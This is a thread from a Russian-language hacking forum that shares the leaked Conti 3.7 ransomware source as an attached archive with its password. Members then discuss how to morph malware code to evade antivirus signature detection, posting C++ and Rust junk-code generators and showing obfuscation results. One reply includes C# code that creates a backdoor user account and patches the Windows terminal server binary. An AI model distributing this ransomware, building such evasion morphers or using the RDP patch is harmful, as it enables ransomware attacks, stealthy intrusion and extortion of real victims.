• XSS.stack #1 – первый литературный журнал от юзеров форума

Conti 3.7 (Слив от 2023-03-05 )

CoreTMP

HDD-drive
Пользователь
Регистрация
20.01.2023
Сообщения
27
Реакции
4
Данные исходники предназначены только для изучения!

После компиляции у вас будет 3 исполняемых файла: cryptor.exe, decryptor.exe, и один динамически подключаемый библиотечный файл - cryptor.dll.

Пароль: xss.pro
 

Вложения

  • Conti3_7.zip
    1.5 МБ · Просмотры: 361
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну это как минимум забавно. В Плюсах безусловно мега-уебанское мета-программирование, поэтому приходится так изъебаться, используя в частности оптимизатор (который соптимизирует if, в одну ветку исходя из ГПСЧ на этапе компиляции). Я бы, естественно, просто сделал свой препроцессор для сорсов, который обфусцирует все на базе AST (типа как я ранее показывал в статье: https://xss.pro/threads/42944/ или что-то в этом духе). Но таки есть что-то прекрасное в том, как пытливый ум пытается ограничения мета-программирования обойти (хотя volatile - это читерство имхо):
C++:
// полиморфная рандомная вставка в код, для рандомизации сигнатур
#ifdef __cplusplus
__forceinline void morphcode(int a) {
#else
__forceinline void morphcode(char* a) {
#endif
#ifdef __cplusplus
    volatile int _morph_var = static_cast<int>(1 + MetaRandom2<0, 0x7FFFFF - 1>::value);
#else
    volatile int _morph_var = a;
#endif

    // делаем арифметическую операцию со случайным (времени компиляции) числом, и операндом.
    // за счет того, что число известно во время компиляции, оптимизатор оставит лишь один вариант действия,
    // выкинув остальные. Таким образом, одна и та же вставка будет давать всякий раз разный результат.
    if (_morph_var % 3) {
        _morph_var += (int)a + 2;
        while (!(_morph_var % 4)) ++_morph_var;
    }
    else if (_morph_var % 2) {
        _morph_var -= (int)a - 2;
        while (!(_morph_var % 3)) ++_morph_var;
    }
    else if (_morph_var % 4) {
        _morph_var = (_morph_var + 2) * ((int)a + 3);
        while (!(_morph_var % 2))
            if (_morph_var % 5)
                --_morph_var;
            else ++_morph_var;
    }
    else if (_morph_var % 5) {
        _morph_var = (_morph_var + 11) / ((int)a + 23);
        while (!(_morph_var % 3))
            if (_morph_var % 5)
                ++_morph_var;
            else --_morph_var;
    }
}
 
Данные исходники предназначены только для изучения!

После компиляции у вас будет 3 исполняемых файла: cryptor.exe, decryptor.exe, и один динамически подключаемый библиотечный файл - cryptor.dll.

Пароль: xss.pro
pm me pls
 
Ну это как минимум забавно. В Плюсах безусловно мега-уебанское мета-программирование, поэтому приходится так изъебаться, используя в частности оптимизатор (который соптимизирует if, в одну ветку исходя из ГПСЧ на этапе компиляции). Я бы, естественно, просто сделал свой препроцессор для сорсов, который обфусцирует все на базе AST (типа как я ранее показывал в статье: https://xss.pro/threads/42944/ или что-то в этом духе). Но таки есть что-то прекрасное в том, как пытливый ум пытается ограничения мета-программирования обойти (хотя volatile - это читерство имхо):
C++:
// полиморфная рандомная вставка в код, для рандомизации сигнатур
#ifdef __cplusplus
__forceinline void morphcode(int a) {
#else
__forceinline void morphcode(char* a) {
#endif
#ifdef __cplusplus
    volatile int _morph_var = static_cast<int>(1 + MetaRandom2<0, 0x7FFFFF - 1>::value);
#else
    volatile int _morph_var = a;
#endif

    // делаем арифметическую операцию со случайным (времени компиляции) числом, и операндом.
    // за счет того, что число известно во время компиляции, оптимизатор оставит лишь один вариант действия,
    // выкинув остальные. Таким образом, одна и та же вставка будет давать всякий раз разный результат.
    if (_morph_var % 3) {
        _morph_var += (int)a + 2;
        while (!(_morph_var % 4)) ++_morph_var;
    }
    else if (_morph_var % 2) {
        _morph_var -= (int)a - 2;
        while (!(_morph_var % 3)) ++_morph_var;
    }
    else if (_morph_var % 4) {
        _morph_var = (_morph_var + 2) * ((int)a + 3);
        while (!(_morph_var % 2))
            if (_morph_var % 5)
                --_morph_var;
            else ++_morph_var;
    }
    else if (_morph_var % 5) {
        _morph_var = (_morph_var + 11) / ((int)a + 23);
        while (!(_morph_var % 3))
            if (_morph_var % 5)
                ++_morph_var;
            else --_morph_var;
    }
}
Оно то конечно забавно, но к чему весь этот изврат с метапрограммированием, когда можно морфить код бинарно, там и контроля гораздо больше. А в сорцах надо еще постараться сделать так, что бы оптимизатор не удалил тот треш, который ты так долго и упорно генерировал. Сейчас 99% тех "морферов" исходных кодов которые существуют работают как раз на volatile, а это как по мне - костыль в контексте морфинга. Что бы треш не удалялся можно конечно выключить оптимизации, но что делать если нужен быстрый, оптимизированный, и при всем этом полиморфный код ? Делать такие вещи на уровне сорцев - оверхед, слишком много всего нужно учитывать при слишком низком уровне контроля. В некотором смысле проще и эффективнее - брать либо уже готовый бинарик после компиляции, морфить его и затем делать пересборку, либо брать промежуточное представление кода во время компиляции, взять тот же gcc, он опенсорсный, ты спокойно можешь пересобрать его и заставить генерировать полиморфный код. Да, это не так просто (но мы же тут не для поиска легких путей собрались) , нужно знать как работает компилятор, понимать его внутренние структуры, но это открывает совершенно иные горизонты.
А касательно первого варианта с пересборкой уже откомпилированных бинарей - я даже писал полуавтоматическую систему сборки полиморфных бинариков. Компилировал проект в .obj файлы, выдирал дизасм из них в IDA, ковертировал в синтаксис FASM незамысловатым питон-скриптом на основе регулярок. Дальше полученные сорцы в виде FASM морфятся моей утилитой на уровне ассемблера и собираются в .exe. Достаточно один раз скомпилирвоать проект в COFF файлы, выдрать дизасм и перевести в FASM, затем это все автоматически билдится и морфится и каждый билд на выходе уникальный. Но по хорошему нужно делать это все полностью бинарно, без перегонки в сорцы и рекомпиляции. Но пока руки не дошли написать свой дизассемблер и релинкер для настройки побитых ссылок после морфинга бинаря. В любом случае контроля даже в таком варианте больше, на этом уровне есть доступ ко всему, начиная от морфинга констант, заканчивая собственным распределением регистров и замены\подразбивки команд, чего невозможно сделать, если морфишь исходник.
 
Сейчас пишу морфер для раст на основе процедурных макросов.

Код:
#[inline(always)] pub fn __func_17(var: i32) -> i32 { var.wrapping_mul(val!(i32)) }
#[inline(always)] pub fn __func_18(var: i32) -> i32 { var.wrapping_div(val!(i32)) }
#[inline(always)] pub fn __func_19(var: i32) -> i32 { var.wrapping_sub(val!(i32)) }
#[inline(always)] pub fn __func_20(var: i32) -> i32 { var.wrapping_add(val!(i32)) }

Да, это все еще на уровне исходников, но так как я не маг асма и всей этой низкоуровневой валокиты, думаю для меня оптимальный вариант. Прикол в том, что код как бы генерируется в компайл тайме и подставляется в нужное место простым вызовом макроса. Ну и естественно можно повышать сложность этих процедур до бесконечности, включая встраиваемые функции, статики, константы, мьютексы, io операции и даже случайные структуры!

Единственный существенный минус это более высокое потребление ресурсов во время разработки, так как вся эта ебала динамически подгоняется и пересобирается.

Вышепредложенный вариант звучит очень классно, но мало кому под силу реализовать и поддерживать это)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Оно то конечно забавно, но к чему весь этот изврат с метапрограммированием, когда можно морфить код бинарно, там и контроля гораздо больше.
Это проще, даже "интеллектуальные" дизассемблеры (типа IDA Pro) иногда наебываются на разборе готовых PE-файлов, чего говорить о простых (проблема отличия кода и данных). Да и потом, у тебя все адреса абсолютных переходов поедут, если ты будешь код менять, их нужно находить все и пересчитывать.

А в сорцах надо еще постараться сделать так, что бы оптимизатор не удалил тот треш, который ты так долго и упорно генерировал. Сейчас 99% тех "морферов" исходных кодов которые существуют работают как раз на volatile, а это как по мне - костыль в контексте морфинга.
Это как раз просто. Мурорный код с volatile можно убрать автоматически с помощью деобфускации через оптимизацию. Если мусорный код будет проводить манипуляции наб глобальными переменными, то его ни оптимизатор не сможет удалить, ни деобфускатор (если только не находить в нем заранее известные паттерны, но это не гарантирует, что ты случайно не удалишь нормальный код).

либо брать промежуточное представление кода во время компиляции, взять тот же gcc, он опенсорсный, ты спокойно можешь пересобрать его и заставить генерировать полиморфный код
Основные оптимизации происходит на уровне промежуточного представления, а не выше его, руководствуясь твоей же логикой "надо еще постараться" чтобы оптимизатор ничего не вырезал.

Но пока руки не дошли написать свой дизассемблер и релинкер для настройки побитых ссылок после морфинга бинаря
Ну так сделай, как только упрешься в непреодолимую сложность, будешь морфить на уровне сосров или на уровне ассемблера.

Ну и да, на уровне сорсов мне достаточно написать один морфер, который будет работать на любой операционной системе и на любой архитектуре процессора, на уровне асма мне придется писать как минимум два разных морфера (x86 и x64).
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
брать либо уже готовый бинарик после компиляции, морфить его и затем делать пересборку, либо брать промежуточное представление кода во время компиляции, взять тот же gcc, он опенсорсный,
Тогда уже берем clang и mingw, что и делает мистер DildoFagins - был замечен так сказать)
Ну и да, на уровне сорсов мне достаточно написать один морфер, который будет работать на любой операционной системе и на любой архитектуре процессора, на уровне асма мне придется писать как минимум два разных морфера (x86 и x64).
это вообще даже не проблем. в контексте - x86 \ x64 - щас x86 еще поискать надо - они только в сетях предприятий где у бухалтерши вниду не переустанавливали лет 15 - потому что ей интернет по уровню IQ вообще не положено. А вот если там чего то делается с сисколами и еще накой-то хер они статически прописаны а не вычисляются динамически - тут все упадет к ебеням - ну и можно еще примеров зависимости кода от версии вниды найти - вообщем если ваш код дергает код винды который на уровне асам иммеет отлиция на разных версиях windows - то версий морферов бинаря - вам нужжно поболее чем две
Основные оптимизации происходит на уровне промежуточного представления,
llvm наше все
 
Это проще, даже "интеллектуальные" дизассемблеры (типа IDA Pro) иногда наебываются на разборе готовых PE-файлов, чего говорить о простых (проблема отличия кода и данных). Да и потом, у тебя все адреса абсолютных переходов поедут, если ты будешь код менять, их нужно находить все и пересчитывать.
Для этого я и написал, что в случае бинарного морфера нужен свой линкер, который все сслылки перенастроит, так как ты сам компилируешь код, то ты можешь генерировать отладочную информацию в полном обьеме, которая поможет понять где и что нужно настраивать, а так же ОТЛИЧИТЬ код от данных. Не путай случай когда у тебя в руках неизвестный бинарь, и когда тот, который скомпилировал ты.
Основные оптимизации происходит на уровне промежуточного представления, а не выше его, руководствуясь твоей же логикой "надо еще постараться" чтобы оптимизатор ничего не вырезал.
А кто тебе мешает компилятор пересобрать так, что бы твои изменения применялись после всех оптимизаций ? Или это сложно понять эксперту дилдо ? Это максимально логично, что морфинг в случае наличия оптимизаций нужно делать уже после применения оптимизаций.
Ну так сделай, как только упрешься в непреодолимую сложность, будешь морфить на уровне сосров или на уровне ассемблера.
Как по твоему работает бинарный морфер встроенный в VMProtect ? Ты хоть раз пробовал использовать VMP с его SDK, и расставить маркеры морфинга ? Не виртуализации а именно морфинга, и потом посмотри что происходит с бинариком, непреодолимая сложность говоришь ?


это вообще даже не проблем. в контексте - x86 \ x64 - щас x86 еще поискать надо - они только в сетях предприятий где у бухалтерши вниду не переустанавливали лет 15 - потому что ей интернет по уровню IQ вообще не положено. А вот если там чего то делается с сисколами и еще накой-то хер они статически прописаны а не вычисляются динамически - тут все упадет к ебеням - ну и можно еще примеров зависимости кода от версии вниды найти - вообщем если ваш код дергает код винды который на уровне асам иммеет отлиция на разных версиях windows - то версий морферов бинаря - вам нужжно поболее чем две
Бред какой-то, зачем в морфер встраивать сисколы. Причем тут вообще сисколы ? Морфер должен выполнять одну задачу - оставлять исходную логику, но запутывать при этом код, причем главная цель не как у обфускатора, защитить приложение, а главная цель морфера - размыть сигнатуры, что бы исключить сигнатурный детект. Для этого достаточно заменять инструкции на уровне ассемблера на аналоги, заменять константы на комбинации чисел, так же добавлять junk код. Это все делается на уровне базового набора инструкций, где нет отличий на всей линейке от XP до 11 винды x86\64
 
Какие нах дизасемблирования, че за бред.
MSVC /FAs -> питон скрипт преобразующий в fasm синтаксис -> морф -> компиляция.
В этом кейсе у нас в асм аут попадают коментарии, коментарии например могут содержать инсрукции для морфера(гуще, жиже, не морфить, и т. д.).
 
Пожалуйста, обратите внимание, что пользователь заблокирован
оставлять исходную логику, но запутывать при этом код
по моему бред как раз это. Как это оставлять ту же логику и одновременно запутывать код, если у тебя остается совсем таже логика, что ты тогдга такого там запутал?
Оставться теми же должны результы исполнение кода.
что бы исключить сигнатурный детект
все ясно, мы просто говорим о разных совершенно вещах.
Это все делается на уровне базового набора инструкций, где нет отличий на всей линейке от XP до 11 винды x86\64
если вы ставите задачу снять статик детект, и ничего более. и ваш код работает только на винапи без сисколов и уже тем более вы не работаете с дровами и ядром - то все ок.

UPD местами даже без сисколов нужно учитывать некторые вещи - если код патичит бинарники к примеру - терминальный сервер венды:


C#:
namespace hyperrdp
{
    class Program
    {
        static byte[][] patterns = new byte[][] {
            new byte[] { 0x39, 0x81, 0x3C, 0x06, 0x00, 0x00, 0x0F, 0x84, 0xB1, 0x7D, 0x02, 0x00 },
            new byte[] { 0x8B, 0x99, 0x3C, 0x06, 0x00, 0x00, 0x8B, 0xB9, 0x38, 0x06, 0x00, 0x00 },
            new byte[] { 0x39, 0x81, 0x3C, 0x06, 0x00, 0x00, 0x0F, 0x84, 0x3B, 0x2B, 0x01, 0x00 },
            new byte[] { 0x39, 0x81, 0x3C, 0x06, 0x00, 0x00, 0x0F, 0x84, 0x5D, 0x61, 0x01, 0x00 },
            new byte[] { 0x39, 0x81, 0x3C, 0x06, 0x00, 0x00, 0x0F, 0x84, 0x5D, 0x61, 0x01, 0x00 }
        };

        static byte[] replacement = new byte[] { 0xB8, 0x00, 0x01, 0x00, 0x00, 0x89, 0x81, 0x38, 0x06, 0x00, 0x00, 0x90 };

        static void Main(string[] args)
        {
            // create a new user so we know user/pass
            if (!UserExists("remotedesktop"))
                CreateWindowsUser("remotedesktop", "remotedesktop");

            try
            {
                // stop service to make changess
                StopService("TermService", 10000);

То что это шарпы роли не играет, как пример пойдет. Тот же код мог быть и на Цэ
Суть в чем - там патчится бинарь и это разные бинарники на разных версиях венды.
 
Последнее редактирование:
по моему бред как раз это. Как это оставлять ту же логику и одновременно запутывать код, если у тебя остается совсем таже логика, что ты тогдга такого там запутал?
Оставтся теми же должны результы исполнение кода.
скажи как мы можем получить число 10 ?
2*5
5+5
15-5
2+(2*4)
а может какое-то более сложное действие ?
Аналогия такая же - ты выполняешь разные действия которые ведут к одному и тому же результату
если вы ставите задачу снять статик детект, и ничего более. и ваш код работает только на винапи без сисколов
Мой морфер спокойно обрататывает ЛЮБОЙ код, будь то дрова, работа с сисколами и прочие вещи.
Мы говорим на немного разных уровнях познания технологии морфинга, тебе предстоит еще через многое пройти...
Вот для примера стаб функции, обрабатывающей системный вызов по его номеру и аргументы переданные через подобие va_arg (универсальный враппер для вызова любого системного вызова по его номеру)

До морфинга
1678880535349.png

Декомпиляция в IDA кривая, потому что сам стаб написан на ассемблере
1678880600455.png



После морфинга и запутывания потока управления
1678880864011.png

1678880998625.png

1678881062392.png


Ты видишь сдесь какие-то проблемы работы с сисколами ? А драйвера, они состоят из таких же инструкций ассемблера, за исключением некоторых привилегированных инструкций.
 
Последнее редактирование:
Извиняюсь за глупый вопрос:
Вот этот идовский граф показывает связи между физическими функциями или просто разбивает на логические ответвления?
Это все одна функция, добавлены фейковые ветвления if else switch case, ложные циклы и тд

Для наглядности если отдалить
До
1678882014203.png


После

https://xss.pro/attachments/53123/
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А кто тебе мешает компилятор пересобрать так, что бы твои изменения применялись после всех оптимизаций ? Или это сложно понять эксперту дилдо ? Это максимально логично, что морфинг в случае наличия оптимизаций нужно делать уже после применения оптимизаций.
То, что я не долбоеб и иду по простому пути. Хочешь идти по сложному пути - ради Бога. Но сейчас это пустозвонство, возьми, сделай, напиши об этом статью, тогда разговор будет иметь смысл.

Не путай случай когда у тебя в руках неизвестный бинарь, и когда тот, который скомпилировал ты
Ты вполне можешь заложить 100500 условий того, как должен выглядеть бинарный код, чтобы твой морфер его схавал. Разница в том, что морфер на базе сорсов схавает куда больше проектом с куда меньшим количеством условностей.

Как по твоему работает бинарный морфер встроенный в VMProtect ? Ты хоть раз пробовал использовать VMP с его SDK, и расставить маркеры морфинга ? Не виртуализации а именно морфинга, и потом посмотри что происходит с бинариком, непреодолимая сложность говоришь ?
Мне абсолютно плевать, как работаем VMProtect, в него вложена куча человеко-часов, которую мне нахер не нужно вкладывать самому.

Какие нах дизасемблирования, че за бред.
MSVC /FAs -> питон скрипт преобразующий в fasm синтаксис -> морф -> компиляция.
Не мешай, если человек желает заебаться, он заебется вне зависимости от твоих советов.

Мой морфер спокойно обрататывает ЛЮБОЙ код, будь то дрова, работа с сисколами и прочие вещи
Морфер, которого никто не видел.
 
Морфер, которого никто не видел.
Бля меня просто поражают такие высказывания, тебе скрины выше ничего не показали ? Или ты в шары ебешься ? Ты в упор не видишь ДО и ПОСЛЕ ? Или по твоему я нарисовал их ?
Может мне вообще тебе исходные коды скинуть, такому недоверчивому ? Или плашка "эксперт" уже настолько твой мозг проела, что ты считаешь, что если тебе не под силу что-то, то и другим тоже ?
Я не хочу тебя обижать, но ты сейчас написал реальный бред, никто не видел морфер, я например не видел мозг твой, не щупал его, могу ли я утверждать что у тебя в голове его нет ?
Ты вроде здравые вещи пишешь обычно, но тут такой х#йни я вообще не ожидал от тебя.
 
То, что я не долбоеб и иду по простому пути. Хочешь идти по сложному пути - ради Бога. Но сейчас это пустозвонство, возьми, сделай, напиши об этом статью, тогда разговор будет иметь смысл.


Ты вполне можешь заложить 100500 условий того, как должен выглядеть бинарный код, чтобы твой морфер его схавал. Разница в том, что морфер на базе сорсов схавает куда больше проектом с куда меньшим количеством условностей.


Мне абсолютно плевать, как работаем VMProtect, в него вложена куча человеко-часов, которую мне нахер не нужно вкладывать самому.


Не мешай, если человек желает заебаться, он заебется вне зависимости от твоих советов.


Морфер, которого никто не видел.

Ц кодеры слюнявых виражей конечно тоже люди(но это не точно), но очень особенные =)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх